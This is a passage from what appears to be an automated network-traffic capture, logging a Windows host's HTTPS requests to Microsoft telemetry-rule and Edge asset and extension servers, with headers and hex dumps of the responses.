Success="true"><success>true</success><puid>00188010FCEF7F75</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="9e5221e6-fb19-4c3b-9318-a440f4fc0dca" LicenseID="3252b20c-d425-4711
2024-10-30 22:11:41 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:38 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:38 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:38 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 335320d3-001e-000b-4596-2a15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221138Z-16849878b78km6fmmkbenhx76n0000000810000000007my8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:38 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:38 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:38 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:38 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221138Z-16849878b78qwx7pmw9x5fub1c00000006t000000000dqvq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:38 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:38 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:38 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:38 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 2953fb54-101e-0028-3f94-298f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221138Z-17c5cb586f67hfgj2durhqcxk800000007h000000000dhq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:38 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:38 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:38 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:38 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a1443afe-101e-00a2-13ee-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221138Z-15b8d89586f5s5nz3ffrgxn5ac000000098g00000000hfwg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:38 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:38 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:38 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:38 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221138Z-16849878b78hh85qc40uyr8sc800000008v000000000s7w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:38 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49866	13.107.246.45	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:38 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:38 UTC	556	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:38 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 24 Oct 2024 19:29:56 GMT ETag: 0x8DCF4623DD70062 x-ms-request-id: 41969e8a-e01e-0000-1818-2b6807000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T221138Z-15b8d89586fbmg6qpd9yf8zhm000000003kg0000000093np Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-30 22:11:38 UTC	15828	IN	Data Raw: 1f 8b 08 08 34 a0 1a 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: 4gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-10-30 22:11:38 UTC	16384	IN	Data Raw: 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 b1 dc 86 43 a9 41 db Data Ascii: e\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7CA
2024-10-30 22:11:38 UTC	16384	IN	Data Raw: 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd f5 40 34 cd c4 ce 27 Data Ascii: kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q@4'
2024-10-30 22:11:39 UTC	16384	IN	Data Raw: 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 84 fb 4f 5b 04 9b a8 Data Ascii: _CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}eO[
2024-10-30 22:11:39 UTC	5227	IN	Data Raw: 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 e6 0e 92 0c 4e 75 b7 Data Ascii: a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(Nu

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:38 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:39 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:38 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221138Z-16849878b78xblwksrnkakc08w00000007u000000000skf9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49877	23.47.194.88	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:38 UTC	612	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730931095&P2=404&P3=2&P4=MUCcoHJOc30Dpkn0byq95zlpDtqcvcYwSBAbWQXq8O56G66t26cB0GvhMRZ59kKFAh0i37Xgxzc5bF4neaHoGQ%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: 6rSJ8PYLq5iNJA/friQ1aL Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:39 UTC	1245	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 11555477-dc5c-4769-835c-87526c22b263 MS-RequestId: 74b1ff6e-2fac-40ef-b85d-157b72f8e42a MS-CV: jW5weZpZXFTIiAJqcqa6f6.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86400 Date: Wed, 30 Oct 2024 22:11:39 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.47.194.84,b=184061923,c=g,n=US_TX_DALLAS,o=20940],[c=c,n=US_TX_DALLAS,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.54c22f17.1730326299.af88fe3 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
